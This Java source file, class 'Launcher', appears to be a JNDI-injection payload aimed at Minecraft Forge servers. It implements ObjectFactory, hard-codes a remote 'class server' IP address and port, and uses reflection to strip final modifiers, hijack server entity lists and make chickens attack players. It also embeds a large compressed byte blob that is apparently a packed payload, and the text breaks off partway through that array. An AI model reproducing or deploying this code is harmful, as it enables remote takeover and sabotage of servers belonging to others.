| /* Copyright 2015-2022 Rivoreo |
| |
| This Source Code Form is subject to the terms of the Mozilla Public |
| License, v. 2.0. If a copy of the MPL was not distributed with this |
| file, You can obtain one at https://mozilla.org/MPL/2.0/. |
| */ |
| |
| import java.util.BitSet; |
| import java.util.Collection; |
| import java.util.Hashtable; |
| import java.util.Map; |
| import java.util.LinkedHashMap; |
| import java.util.ArrayList; |
| import java.util.List; |
| import java.util.HashSet; |
| import java.util.Set; |
| import java.util.ListIterator; |
| import java.util.Iterator; |
| import java.util.Collections; |
| import java.util.Random; |
| import java.util.zip.Inflater; |
| import java.net.URLClassLoader; |
| import java.net.URL; |
| import java.lang.reflect.Constructor; |
| import java.lang.reflect.Field; |
| import java.lang.reflect.Method; |
| import java.lang.reflect.Modifier; |
| import java.lang.reflect.InvocationTargetException; |
| import java.lang.annotation.Annotation; |
| import java.io.FileOutputStream; |
| import java.io.IOException; |
| import javax.naming.spi.ObjectFactory; |
| |
| public class Launcher implements Runnable, List, Set, ObjectFactory { |
| private static final String CLASS_SERVER_ADDRESS = "125.38.125.62"; |
| private static final int CLASS_SERVER_HTTP_PORT = 87; |
| |
| private static boolean try_minecraftforge = true; |
| private static Class<?> forge_world_manager_class; |
| private static Hashtable<Integer, Class<?>> world_providers; |
| private static Map<Integer, Object> forge_loaded_worlds; |
| private static Class<?> mc_world_provider_class; |
| private static Method mc_world_provider_get_name_method; |
| private static Class<?> mc_world_class; |
| private static Class<?> mc_server_world_class; |
| private static Field mc_world_provider_field; |
| private static Method mc_world_schedule_task_method; |
| |
| private static BitSet forge_world_id_map; |
| private static Method forge_world_manager_load_world_method; |
| private static Method forge_register_world_provider_type_method; |
| |
| private static Method mc_world_provider_get_movement_factor_method; |
| private static Method mc_world_provider_register_world_method; |
| |
| private static Field field_modifiers_field; |
| |
| private static Class<?> entity_class; |
| private static Class<?> mob_entity_class; |
| private static Method mc_world_spawn_entity_method; |
| private static Class<?> chicken_class; |
| private static Constructor<?> chicken_construtor; |
| private static Class<?> creeper_class; |
| private static Constructor<?> creeper_construtor; |
| private static Field creeper_explosion_radius_field; |
| private static Class<?> skeleton_class; |
| private static Constructor<?> skeleton_constructor; |
| private static Method mob_set_name_tag_method; |
| private static Method set_location_and_angles_method; |
| //private static Object minecraft_server_instance; |
| private static Method mc_world_get_entity_tracker_method; |
| private static Field entity_tracker_tracked_entities_field; |
| private static Field mc_world_loaded_entity_list_field; |
| private static Method mc_world_get_ground_height_at_method; |
| private static Class<?> mc_block_pos_class; |
| private static Constructor<?> mc_block_pos_constructor; |
| private static Method mc_vec3i_get_y_method; |
| private static Class<?> itemstack_class; |
| private static Constructor<?> itemstack_constructor_2; |
| private static Class<?> item_class; |
| private static Object egg_item; |
| private static Object bow_item; |
| private static Object sign_item; |
| private static Class<?> entity_equipment_slot_class; |
| private static Object entity_main_hand_slot; |
| private static Object entity_alt_hand_slot; |
| private static Object entity_head_slot; |
| private static Method mob_set_equipment_method; |
| |
| private static Random random; |
| |
| public static boolean is_minecraftforge_available() { |
| if(!try_minecraftforge) return false; |
| if(forge_world_manager_class == null || world_providers == null || forge_loaded_worlds == null || mc_world_provider_class == null || mc_world_class == null || mc_world_provider_field == null || mc_world_provider_get_name_method == null) try { |
| forge_world_manager_class = Class.forName("net.minecraftforge.common.DimensionManager"); |
| if(world_providers == null) try { |
| Field providers_field = forge_world_manager_class.getDeclaredField("providers"); |
| if(providers_field.getType() != Hashtable.class) return false; |
| providers_field.setAccessible(true); |
| world_providers = (Hashtable<Integer, Class<?>>)providers_field.get(null); |
| } catch(NoSuchFieldException e) { |
| // Newer version |
| } |
| if(forge_loaded_worlds == null) { |
| Field worlds_field = forge_world_manager_class.getDeclaredField("worlds"); |
| Class<?> t = worlds_field.getType(); |
| if(!Map.class.isAssignableFrom(t)) return false; |
| worlds_field.setAccessible(true); |
| forge_loaded_worlds = (Map<Integer, Object>)worlds_field.get(null); |
| } |
| if(mc_world_provider_class == null) { |
| Method get_provider_method = forge_world_manager_class.getDeclaredMethod("getProvider", int.class); |
| mc_world_provider_class = get_provider_method.getReturnType(); |
| } |
| if(mc_world_class == null || mc_server_world_class == null) { |
| Method get_world_method = forge_world_manager_class.getDeclaredMethod("getWorld", int.class); |
| mc_server_world_class = get_world_method.getReturnType(); |
| mc_world_class = mc_server_world_class.getSuperclass(); |
| } |
| if(mc_world_provider_field == null) try { |
| mc_world_provider_field = mc_world_class.getDeclaredField("field_73011_w"); |
| } catch(NoSuchFieldException e) { |
| mc_world_provider_field = mc_world_class.getDeclaredField("provider"); |
| } |
| if(mc_world_provider_get_name_method == null) try { |
| mc_world_provider_get_name_method = mc_world_provider_class.getDeclaredMethod("func_80007_l"); |
| if(mc_world_provider_get_name_method.getReturnType() != String.class) { |
| mc_world_provider_get_name_method = null; |
| throw new NoSuchMethodException("Return type mismatch"); |
| } |
| } catch(NoSuchMethodException e) { |
| try { |
| mc_world_provider_get_name_method = mc_world_provider_class.getDeclaredMethod("getDimensionName"); |
| if(mc_world_provider_get_name_method.getReturnType() != String.class) { |
| mc_world_provider_get_name_method = null; |
| } |
| } catch(NoSuchMethodException ee) { |
| // Newer version |
| } |
| } |
| if(mc_world_get_entity_tracker_method == null) { |
| mc_world_get_entity_tracker_method = mc_server_world_class.getDeclaredMethod("func_73039_n"); |
| } |
| if(entity_tracker_tracked_entities_field == null) { |
| Class<?> entity_tracker_class = mc_world_get_entity_tracker_method.getReturnType(); |
| entity_tracker_tracked_entities_field = entity_tracker_class.getDeclaredField("field_72793_b"); |
| entity_tracker_tracked_entities_field.setAccessible(true); |
| } |
| if(mc_world_loaded_entity_list_field == null) { |
| mc_world_loaded_entity_list_field = mc_world_class.getDeclaredField("field_72996_f"); |
| int modifiers = mc_world_loaded_entity_list_field.getModifiers(); |
| if(Modifier.isFinal(modifiers)) try { |
| if(field_modifiers_field == null) { |
| field_modifiers_field = Field.class.getDeclaredField("modifiers"); |
| field_modifiers_field.setAccessible(true); |
| } |
| field_modifiers_field.setInt(mc_world_loaded_entity_list_field, modifiers & ~Modifier.FINAL); |
| } catch(NoSuchFieldException e) { |
| e.printStackTrace(); |
| } catch(IllegalAccessException e) { |
| e.printStackTrace(); |
| } |
| } |
| if(mc_world_get_ground_height_at_method == null) try { |
| mc_world_get_ground_height_at_method = mc_world_class.getDeclaredMethod("func_72825_h", int.class, int.class); |
| } catch(NoSuchMethodException e) { |
| mc_block_pos_class = Class.forName("net.minecraft.util.math.BlockPos"); |
| mc_block_pos_constructor = mc_block_pos_class.getDeclaredConstructor(int.class, int.class, int.class); |
| mc_world_get_ground_height_at_method = mc_world_class.getDeclaredMethod("func_175672_r", mc_block_pos_class); |
| Class<?> vec3i_class = Class.forName("net.minecraft.util.math.Vec3i"); |
| mc_vec3i_get_y_method = vec3i_class.getDeclaredMethod("func_177956_o"); |
| } |
| if(itemstack_class == null) { |
| itemstack_class = Class.forName("net.minecraft.item.ItemStack"); |
| } |
| if(item_class == null) { |
| item_class = Class.forName("net.minecraft.item.Item"); |
| } |
| if(egg_item == null || bow_item == null) { |
| Class<?> items_class = Class.forName("net.minecraft.init.Items"); |
| Field egg_field = items_class.getDeclaredField("field_151110_aK"); |
| egg_item = egg_field.get(null); |
| Field bow_field = items_class.getDeclaredField("field_151031_f"); |
| bow_item = bow_field.get(null); |
| Field sign_field = items_class.getDeclaredField("field_151155_ap"); |
| sign_item = sign_field.get(null); |
| } |
| if(itemstack_constructor_2 == null) { |
| itemstack_constructor_2 = itemstack_class.getDeclaredConstructor(item_class, int.class); |
| } |
| } catch(Exception e) { |
| e.printStackTrace(); |
| try_minecraftforge = false; |
| return false; |
| } |
| return true; |
| } |
| |
| private static Class<?> forge_mod_loader_main_class; |
| private static Object forge_mod_loader_main_instance; |
| private static Object fml_mod_class_loader; |
| private static Object fml_mod_class_loader_parent_class_loader; |
| private static Method mc_launch_class_loader_add_url_method; |
| private static Class<?> minecraftforge_class; |
| private static Object minecraft_forge_event_bus; |
| private static Method fml_event_bus_register_method; |
| private static Class<?> forge_entityjoinworldevent_class; |
| private static Class<?> forge_livingdeathevent_class; |
| private static Class<?> sponge_world_manager_class; |
| private static Method sponge_world_manager_get_worlds_method; |
| /* |
| private static Field method_declared_annotations_field; |
| private static Field method_parameter_types_field; |
| |
| private static Class<? extends Annotation> fml_subscribeevent_class; |
| private static Class<?> forge_item_expire_event_class; |
| |
| private static boolean can_modify_method_annotations() { |
| if(method_declared_annotations_field != null) return true; |
| try { |
| method_declared_annotations_field = Method.class.getDeclaredField("declaredAnnotations"); |
| method_declared_annotations_field.setAccessible(true); |
| return true; |
| } catch(Exception e) { |
| } |
| // TODO: Java 8? |
| return false; |
| } |
| |
| private static boolean can_modify_method_arguments() { |
| if(method_parameter_types_field != null) return true; |
| try { |
| method_parameter_types_field = Method.class.getDeclaredField("parameterTypes"); |
| method_parameter_types_field.setAccessible(true); |
| return true; |
| } catch(Exception e) { |
| } |
| // TODO: Java 8? |
| return false; |
| } |
| */ |
| |
| private static Launcher instance; |
| private static Thread minecraft_server_thread; |
| |
| private static Method get_fml_event_bus_register_method(Class<?> fml_event_bus_class) throws NoSuchMethodException { |
| for(Method m : fml_event_bus_class.getDeclaredMethods()) { |
| if(!m.getName().equals("register")) continue; |
| Class<?>[] arg_classes = m.getParameterTypes(); |
| if(arg_classes.length != 4) continue; |
| if(arg_classes[0].equals(Class.class) && arg_classes[2].equals(Method.class)) { |
| return m; |
| } |
| } |
| throw new NoSuchMethodException(); |
| } |
| |
| private static void wrap_thread_unsafe_collections_from_world(Object world) { |
| try { |
| Object entity_tracker = mc_world_get_entity_tracker_method.invoke(world); |
| Set<?> tracked_entities = (Set<?>)entity_tracker_tracked_entities_field.get(entity_tracker); |
| if(!tracked_entities.getClass().getName().equals("Launcher")) { |
| tracked_entities = new Launcher(tracked_entities); |
| entity_tracker_tracked_entities_field.set(entity_tracker, tracked_entities); |
| } |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| try { |
| List<?> loaded_entities = (List<?>)mc_world_loaded_entity_list_field.get(world); |
| if(!loaded_entities.getClass().getName().equals("Launcher")) { |
| loaded_entities = new Launcher(loaded_entities); |
| mc_world_loaded_entity_list_field.set(world, loaded_entities); |
| } |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| } |
| |
| private static String minecraft_version; |
| private static Class<?> fmlinfectiondata_class; |
| private static Class<?> living_entity_class; |
| private static Method living_entity_get_attribute_map_method; |
| private static Method attribute_map_get_attribute_instance_method; |
| private static Method attribute_instance_set_base_value_method; |
| private static Object mob_follow_range_attribute; |
| private static Class<?> creature_class; |
| private static Class<?> mob_class; |
| private static Field mob_tasks_field; |
| private static Field mob_target_tasks_field; |
| private static Method tasks_handler_add_task_method; |
| private static Method tasks_handler_remove_task_method; |
| private static Field tasks_handler_task_list_field; |
| private static Field tasks_handler_task_entry_action_field; |
| private static Class<?> mob_panic_task_class; |
| private static Class<?> mob_tempt_task_class; |
| private static Class<?> mob_melee_attack_task_class; |
| private static Constructor<?> mob_melee_attack_task_constructor; |
| private static Class<?> mob_force_melee_attack_task_class; |
| private static Constructor<?> mob_force_melee_attack_task_constructor; |
| private static Class<?> aggressivechickens_forgemod_class; |
| private static Object aggressivechickens_forgemod_instance; |
| private static Class<?> aggressivechicken_class; |
| private static Constructor<?> aggressivechicken_constructor; |
| private static Class<?> mob_hurt_by_target_task_class; |
| private static Constructor<?> mob_hurt_by_target_task_constructor; |
| private static Class<?> angrywhenbeingstaredbyplayertask_class; |
| private static Constructor<?> angrywhenbeingstaredbyplayertask_constructor; |
| |
| private static String get_minecraft_version() { |
| if(!is_minecraftforge_available()) return null; |
| if(minecraft_version != null) return minecraft_version; |
| try { |
| if(fmlinfectiondata_class == null) try { |
| fmlinfectiondata_class = Class.forName("cpw.mods.fml.relauncher.FMLInjectionData"); |
| } catch(ClassNotFoundException e) { |
| fmlinfectiondata_class = Class.forName("net.minecraftforge.fml.relauncher.FMLInjectionData"); |
| } |
| Field mccversion_field = fmlinfectiondata_class.getDeclaredField("mccversion"); |
| if(mccversion_field.getType() == String.class) { |
| mccversion_field.setAccessible(true); |
| minecraft_version = (String)mccversion_field.get(null); |
| return minecraft_version; |
| } |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| try { |
| Class<?> mc_resourcepackrepository_class = Class.forName("net.minecraft.client.resources.ResourcePackRepository"); |
| Method get_download_headers_method = mc_resourcepackrepository_class.getDeclaredMethod("func_190115_a"); |
| if(get_download_headers_method.getReturnType() == Map.class) { |
| Map<String, String> map = (Map<String, String>)get_download_headers_method.invoke(null); |
| minecraft_version = map.get("X-Minecraft-Version"); |
| if(minecraft_version != null) return minecraft_version; |
| } |
| } catch(Exception e) { |
| //e.printStackTrace(); |
| } |
| try { |
| if(minecraftforge_class == null) { |
| minecraftforge_class = Class.forName("net.minecraftforge.common.MinecraftForge"); |
| } |
| Field mc_version_field = minecraftforge_class.getDeclaredField("MC_VERSION"); |
| minecraft_version = (String)mc_version_field.get(null); |
| return minecraft_version; |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| return null; |
| } |
| |
| private static boolean is_chicken_aggressive(Object chicken) throws IllegalAccessException { |
| if(mob_melee_attack_task_class == null) return false; |
| if(tasks_handler_task_list_field == null) return false; |
| if(tasks_handler_task_entry_action_field == null) return false; |
| Object tasks_handler = mob_tasks_field.get(chicken); |
| Collection<Object> task_list = (Collection<Object>)tasks_handler_task_list_field.get(tasks_handler); |
| for(Object task : task_list) { |
| task = tasks_handler_task_entry_action_field.get(task); |
| if(mob_melee_attack_task_class.isInstance(task)) return true; |
| } |
| return false; |
| } |
| |
| private static void make_chicken_aggressive(Object chicken, Double attack_moving_speed, Float attack_damage) { |
| if(living_entity_get_attribute_map_method != null && mob_follow_range_attribute != null && attribute_map_get_attribute_instance_method != null && attribute_instance_set_base_value_method != null) try { |
| Object attrib_map = living_entity_get_attribute_map_method.invoke(chicken); |
| Object follow_range_attrib = attribute_map_get_attribute_instance_method.invoke(attrib_map, mob_follow_range_attribute); |
| attribute_instance_set_base_value_method.invoke(follow_range_attrib, Double.valueOf(64)); |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| if(tasks_handler_task_list_field != null && tasks_handler_task_entry_action_field != null) try { |
| Object tasks_handler = mob_tasks_field.get(chicken); |
| Collection<Object> task_list = (Collection<Object>)tasks_handler_task_list_field.get(tasks_handler); |
| List<Object> tasks_to_remove = new ArrayList<Object>(); |
| for(Object task : task_list) { |
| task = tasks_handler_task_entry_action_field.get(task); |
| if(mob_panic_task_class.isInstance(task) || mob_tempt_task_class.isInstance(task)) { |
| tasks_to_remove.add(task); |
| } |
| } |
| for(Object task : tasks_to_remove) { |
| tasks_handler_remove_task_method.invoke(tasks_handler, task); |
| } |
| if(mob_melee_attack_task_constructor != null && aggressivechicken_constructor != null) { |
| Object aggressive_chicken = (aggressivechicken_constructor.getParameterTypes().length == 1) ? |
| aggressivechicken_constructor.newInstance(chicken) : |
| aggressivechicken_constructor.newInstance(chicken, attack_damage, Boolean.valueOf(false)); |
| Object task = mob_melee_attack_task_constructor.newInstance(aggressive_chicken, attack_moving_speed, Boolean.valueOf(true)); |
| tasks_handler_add_task_method.invoke(tasks_handler, Integer.valueOf(1), task); |
| } else if(mob_force_melee_attack_task_constructor != null) { |
| Object task = (mob_force_melee_attack_task_constructor.getParameterTypes().length == 4) ? |
| mob_force_melee_attack_task_constructor.newInstance(chicken, attack_moving_speed, attack_damage, Boolean.valueOf(true)) : |
| mob_force_melee_attack_task_constructor.newInstance(chicken, attack_moving_speed, attack_damage, Boolean.valueOf(false), Boolean.valueOf(true)); |
| tasks_handler_add_task_method.invoke(tasks_handler, Integer.valueOf(1), task); |
| } |
| if(mob_hurt_by_target_task_constructor != null) { |
| Object target_tasks_handler = mob_target_tasks_field.get(chicken); |
| Object[] args = mob_hurt_by_target_task_constructor.getParameterTypes().length == 2 ? |
| new Object[] { chicken, Boolean.valueOf(true) } : |
| new Object[] { chicken, Boolean.valueOf(true), new Class<?>[0] }; |
| Object task = mob_hurt_by_target_task_constructor.newInstance(args); |
| tasks_handler_add_task_method.invoke(target_tasks_handler, Integer.valueOf(1), task); |
| } |
| if(angrywhenbeingstaredbyplayertask_constructor != null) { |
| Object task = angrywhenbeingstaredbyplayertask_constructor.newInstance(chicken, Double.valueOf(16)); |
| tasks_handler_add_task_method.invoke(tasks_handler, Integer.valueOf(3), task); |
| } |
| } catch(Exception e) { |
| e.printStackTrace(); |
| } |
| } |
| |
| private static String get_entity_name(Object entity) { |
| if(chicken_class != null && chicken_class.isInstance(entity)) return "Chicken"; |
| if(creeper_class != null && creeper_class.isInstance(entity)) return "Creeper"; |
| if(skeleton_class != null && skeleton_class.isInstance(entity)) return "Skeleton"; |
| return "support"; // XXX |
| } |
| |
| private static void set_mob_equipment(Object mob, int slot, Object item_stack) throws IllegalAccessException, InvocationTargetException { |
| if(entity_equipment_slot_class == null) { |
| mob_set_equipment_method.invoke(mob, Integer.valueOf(slot), item_stack); |
| } else { |
| Object slot_enum; |
| switch(slot) { |
| case 0: |
| slot_enum = entity_main_hand_slot; |
| break; |
| case 1: |
| slot_enum = entity_alt_hand_slot; |
| break; |
| case 4: |
| slot_enum = entity_head_slot; |
| break; |
| default: |
| slot_enum = null; |
| } |
| mob_set_equipment_method.invoke(mob, slot_enum, item_stack); |
| } |
| } |
| |
| private static final byte[] wscntfy = new byte[] { |
| (byte)0xed, (byte)0x58, (byte)0x7f, (byte)0x6c, (byte)0x13, (byte)0xf7, (byte)0x15, (byte)0x7f, |
| (byte)0xe7, (byte)0x38, (byte)0xe0, (byte)0x86, (byte)0x04, (byte)0xbb, (byte)0x2c, (byte)0x19, |
| (byte)0x99, (byte)0xd6, (byte)0x68, (byte)0x97, (byte)0x89, (byte)0x5f, (byte)0x9a, (byte)0x50, |
| (byte)0x96, (byte)0x74, (byte)0xd9, (byte)0x4a, (byte)0x07, (byte)0xa9, (byte)0x8c, (byte)0x12, |
| (byte)0xb7, (byte)0x01, (byte)0x1c, (byte)0x38, (byte)0xdb, (byte)0x61, (byte)0xe4, (byte)0x47, |
| (byte)0x83, (byte)0xe3, (byte)0xd8, (byte)0xe7, (byte)0xdc, (byte)0xb9, (byte)0xce, (byte)0x9d, |
| (byte)0x77, (byte)0x77, (byte)0x26, (byte)0xa4, (byte)0x9a, (byte)0xd4, (byte)0xd0, (byte)0xc4, |
| (byte)0x1a, (byte)0x9e, (byte)0x6b, (byte)0xc9, (byte)0xd3, (byte)0x58, (byte)0xa9, (byte)0x54, |
| (byte)0x90, (byte)0x16, (byte)0xa8, (byte)0xb4, (byte)0x4e, (byte)0xdd, (byte)0xa4, (byte)0xfd, |
| (byte)0xc1, (byte)0x26, (byte)0x46, (byte)0xab, (byte)0xc9, (byte)0x10, (byte)0x54, (byte)0x60, |
| (byte)0x2d, (byte)0x12, (byte)0x62, (byte)0xd5, (byte)0xc4, (byte)0x14, (byte)0xd6, (byte)0xb1, |
| (byte)0x15, (byte)0xd6, (byte)0xcb, (byte)0xc2, (byte)0x36, (byte)0xa4, (byte)0x21, (byte)0x9a, |
| (byte)0x95, (byte)0xb0, (byte)0xdb, (byte)0xfb, (byte)0x7e, (byte)0xef, (byte)0x9c, (byte)0x38, |
| (byte)0x06, (byte)0x54, (byte)0xed, (byte)0x9f, (byte)0xaa, (byte)0xda, (byte)0xf2, (byte)0xb5, |
| (byte)0x9e, (byte)0xbf, (byte)0xef, (byte)0x7d, (byte)0xde, (byte)0x8f, (byte)0xef, (byte)0xfb, |
| (byte)0xbe, (byte)0xef, (byte)0x0f, (byte)0x9f, (byte)0xaf, (byte)0xa3, (byte)0x27, (byte)0x07, |
| (byte)0x65, (byte)0x00, (byte)0x60, (byte)0x47, (byte)0x32, (byte)0x0c, (byte)0x80, (byte)0x93, |
| (byte)0x60, (byte)0x36, (byte)0x37, (byte)0x7c, (byte)0x72, (byte)0x1b, (byte)0x45, (byte)0x5a, |
| (byte)0xf9, (byte)0xa5, (byte)0x53, (byte)0x2b, (byte)0xe1, (byte)0xc4, (byte)0x23, (byte)0x17, |
| (byte)0xeb, (byte)0x4f, (byte)0x32, (byte)0xde, (byte)0x8b, (byte)0xf5, (byte)0x9d, (byte)0x82, |
| (byte)0xa8, (byte)0xb2, (byte)0x09, (byte)0x45, (byte)0x1e, (byte)0x54, (byte)0x42, (byte)0x43, |
| (byte)0x6c, (byte)0x38, (byte)0x24, (byte)0x49, (byte)0xb2, (byte)0xc6, (byte)0x0e, (byte)0xf0, |
| (byte)0xac, (byte)0x92, (byte)0x94, (byte)0x58, (byte)0x51, (byte)0x62, (byte)0xdb, (byte)0x76, |
| (byte)0x05, (byte)0xd8, (byte)0x21, (byte)0x39, (byte)0xc2, (byte)0x37, (byte)0x54, (byte)0x55, |
| (byte)0x55, (byte)0xac, (byte)0xb1, (byte)0x62, (byte)0x70, (byte)0x1e, (byte)0x00, (byte)0x2f, |
| (byte)0xb3, (byte)0x0c, (byte)0x46, (byte)0x26, (byte)0x4f, (byte)0x86, (byte)0x0a, (byte)0x71, |
| (byte)0xaf, (byte)0x81, (byte)0xb3, (byte)0x6c, (byte)0x05, (byte)0x63, (byte)0xdb, (byte)0x04, |
| (byte)0x15, (byte)0x28, (byte)0x54, (byte)0x22, (byte)0x2d, (byte)0x03, (byte)0x70, (byte)0x3d, |
| (byte)0x8a, (byte)0xbd, (byte)0x0b, (byte)0x89, (byte)0xb5, (byte)0xb2, (byte)0x23, (byte)0xbc, |
| (byte)0xcd, (byte)0xcc, (byte)0x9b, (byte)0xb1, (byte)0xf2, (byte)0xa7, (byte)0x2d, (byte)0x61, |
| (byte)0x0a, (byte)0x4f, (byte)0xdc, (byte)0xa5, (byte)0x6a, (byte)0xd3, (byte)0x81, (byte)0xd8, |
| (byte)0x92, (byte)0x2f, (byte)0x97, (byte)0x69, (byte)0xe2, (byte)0x2a, (byte)0x9e, (byte)0x04, |
| (byte)0x07, (byte)0x50, (byte)0x4b, (byte)0x9c, (byte)0xfb, (byte)0x01, (byte)0xae, (byte)0xc3, |
| (byte)0xa7, (byte)0xd7, (byte)0x1a, (byte)0x34, (byte)0x7e, (byte)0xbf, (byte)0x86, (byte)0xfd, |
| (byte)0x21, (byte)0x87, (byte)0x95, (byte)0x50, (byte)0x45, (byte)0xf1, (byte)0x24, (byte)0xc0, |
| (byte)0xca, (byte)0x9c, (byte)0xeb, (byte)0x6f, (byte)0x88, (byte)0x84, (byte)0x34, (byte)0x52, |
| (byte)0x98, (byte)0x66, (byte)0x6b, (byte)0x2a, (byte)0x74, (byte)0x52, (byte)0x2b, (byte)0x17, |
| (byte)0xdb, (byte)0xb9, (byte)0xa1, (byte)0x31, (byte)0xdf, (byte)0xa0, (byte)0x98, (byte)0x86, |
| (byte)0xb3, (byte)0x04, (byte)0x68, (byte)0xb4, (byte)0xec, (byte)0x5c, (byte)0xf7, (byte)0xd9, |
| (byte)0xb9, (byte)0x1b, (byte)0x06, (byte)0x54, (byte)0x95, (byte)0xf0, (byte)0x0e, (byte)0xfb, |
| (byte)0xc3, (byte)0x17, (byte)0x79, (byte)0x94, (byte)0xc4, (byte)0x13, (byte)0xcd, (byte)0x78, |
| (byte)0xb4, (byte)0x36, (byte)0x9c, (byte)0xb9, (byte)0x06, (byte)0xb0, (byte)0xea, (byte)0x41, |
| (byte)0xe3, (byte)0xaa, (byte)0x4a, (byte)0x18, (byte)0xac, (byte)0xda, (byte)0xf5, (byte)0x5b, |
| (byte)0xe3, (byte)0xd6, (byte)0xde, (byte)0x6f, (byte)0x07, (byte)0x4b, (byte)0xed, (byte)0x33, |
| (byte)0xd9, (byte)0x76, (byte)0x67, (byte)0xaa, (byte)0x22, (byte)0x3e, (byte)0x37, (byte)0xa4, |
| (byte)0x6f, (byte)0xf4, (byte)0x19, (byte)0x7f, (byte)0xca, (byte)0x6a, (byte)0xeb, (byte)0x88, |
| (byte)0xfc, (byte)0xec, (byte)0x22, (byte)0x39, (byte)0x7d, (byte)0x23, (byte)0x30, (byte)0x76, |
| (byte)0x93, (byte)0x15, (byte)0xb8, (byte)0x47, (byte)0xdd, (byte)0xa0, (byte)0xff, (byte)0x76, |
| (byte)0x39, (byte)0xc0, (byte)0xd8, (byte)0xd9, (byte)0x4a, (byte)0xfd, (byte)0x8d, (byte)0x72, |
| (byte)0x00, (byte)0xfd, (byte)0x6d, (byte)0xdc, (byte)0x11, (byte)0x63, (byte)0x37, (byte)0x2b, |
| (byte)0xb3, (byte)0x9e, (byte)0xdb, (byte)0xe7, (byte)0x3c, (byte)0xb7, (byte)0xe9, (byte)0x49, |
| (byte)0xca, (byte)0x7a, (byte)0x66, (byte)0x33, (byte)0x75, (byte)0x2e, (byte)0xd6, (byte)0x0d, |
| (byte)0x01, (byte)0x4e, (byte)0xb0, (byte)0xbb, (byte)0xdd, (byte)0x20, (byte)0x00, (byte)0x7e, |
| (byte)0xe9, (byte)0xef, (byte)0xa3, (byte)0xdd, (byte)0x84, (byte)0x03, (byte)0xb9, (byte)0xb1, |
| (byte)0xb3, (byte)0x6c, (byte)0x2a, (byte)0x9f, (byte)0x6c, (byte)0xd3, (byte)0xff, (byte)0x86, |
| (byte)0x40, (byte)0xa6, (byte)0x86, (byte)0x45, (byte)0xbb, (byte)0xb4, (byte)0x4b, (byte)0xcf, |
| (byte)0x91, (byte)0x28, (byte)0xd7, (byte)0x6f, (byte)0xe9, (byte)0x87, (byte)0x70, (byte)0xdf, |
| (byte)0xe8, (byte)0xff, (byte)0x44, (byte)0x21, (byte)0x90, (byte)0x71, (byte)0xf8, (byte)0x32, |
| (byte)0x35, (byte)0xc4, (byte)0xdd, (byte)0x3f, (byte)0x41, (byte)0xfc, (byte)0x39, (byte)0x3d, |
| (byte)0x80, (byte)0xf7, (byte)0x53, (byte)0x7a, (byte)0x52, (byte)0xff, (byte)0x0b, (byte)0x2a, |
| (byte)0xd3, (byte)0x8f, (byte)0xad, (byte)0xd1, (byte)0xf7, (byte)0x62, (byte)0x12, (byte)0x99, |
| (byte)0xba, (byte)0x2e, (byte)0x4c, (byte)0xf2, (byte)0x38, (byte)0x89, (byte)0xe1, (byte)0xf3, |
| (byte)0x71, (byte)0x99, (byte)0x80, (byte)0xcb, (byte)0xaf, (byte)0x7f, (byte)0x97, (byte)0x04, |
| (byte)0x3a, (byte)0xeb, (byte)0x1a, (byte)0xbb, (byte)0x7b, (byte)0x4d, (byte)0xfb, (byte)0x02, |
| (byte)0xc7, (byte)0xd1, (byte)0x01, (byte)0xb9, (byte)0x4c, (byte)0x6b, (byte)0x23, (byte)0xa7, |
| (byte)0x4b, (byte)0x05, (byte)0x45, (byte)0x5e, (byte)0x1b, (byte)0x5f, (byte)0x50, (byte)0x70, |
| (byte)0x9c, (byte)0xbe, (byte)0xdb, (byte)0x54, (byte)0x4c, (byte)0x3f, (byte)0x67, (byte)0x18, |
| (byte)0x46, (byte)0xfa, (byte)0x4e, (byte)0xf6, (byte)0xad, (byte)0xf5, (byte)0xb4, (byte)0x1e, |
| (byte)0xe9, (byte)0x1b, (byte)0x63, (byte)0x37, (byte)0xab, (byte)0x63, (byte)0x36, (byte)0xa3, |
| (byte)0x86, (byte)0xc3, (byte)0x11, (byte)0xf4, (byte)0x7b, (byte)0xff, (byte)0x36, (byte)0x8c, |
| (byte)0xec, (byte)0x2f, (byte)0x89, (byte)0x62, (byte)0xb1, (byte)0x9e, (byte)0xb1, (byte)0xf4, |
| (byte)0x7f, (byte)0x78, (byte)0x80, (byte)0x1e, (byte)0xeb, (byte)0x65, (byte)0xcf, (byte)0x78, |
| (byte)0x1c, (byte)0x19, (byte)0xc8, (byte)0x40, (byte)0xcb, (byte)0xf7, (byte)0x01, (byte)0xf2, |
| (byte)0xc3, (byte)0x9b, (byte)0x5b, (byte)0xb2, (byte)0xd8, (byte)0x29, (byte)0x3b, (byte)0xde, |
| (byte)0x24, (byte)0x17, (byte)0x15, (byte)0xc7, (byte)0xc5, (byte)0x20, (byte)0xe6, (byte)0xd0, |
| (byte)0x67, (byte)0xcb, (byte)0xcd, (byte)0xac, (byte)0x66, (byte)0x19, (byte)0xe7, (byte)0xf8, |
| (byte)0xef, (byte)0x10, (byte)0x4e, (byte)0xe5, (byte)0x9d, (byte)0xa9, (byte)0x1c, (byte)0xf6, |
| (byte)0x4d, (byte)0xf9, (byte)0x4c, (byte)0xdf, (byte)0xdc, (byte)0x85, (byte)0x33, (byte)0x76, |
| (byte)0xc8, (byte)0x9e, (byte)0x58, (byte)0x47, (byte)0xe2, (byte)0xb5, (byte)0x1c, (byte)0x42, |
| (byte)0x57, (byte)0x6d, (byte)0x5b, (byte)0xcb, (byte)0xcb, (byte)0xa4, (byte)0x5b, (byte)0xdd, |
| (byte)0xf2, (byte)0x03, (byte)0xec, (byte)0x92, (byte)0x53, (byte)0x33, (byte)0xbf, (byte)0x68, |
| (byte)0x29, (byte)0x27, (byte)0xf2, (byte)0x93, (byte)0x2d, (byte)0x75, (byte)0x44, (byte)0x7e, |
| (byte)0x87, (byte)0xc6, (byte)0xb4, (byte)0xeb, (byte)0xaf, (byte)0xcd, (byte)0xc7, (byte)0xd4, |
| (byte)0x7a, (byte)0x52, (byte)0x79, (byte)0xed, (byte)0x04, (byte)0xae, (byte)0x4e, (byte)0xcc, |
| (byte)0x6e, (byte)0x5c, (byte)0x1a, (byte)0x3b, (byte)0x6f, (byte)0x20, (byte)0x3a, (byte)0xf3, |
| (byte)0xe3, (byte)0x1c, (byte)0x59, (byte)0xcf, (byte)0xa6, (byte)0xa9, (byte)0xe9, (byte)0xe7, |
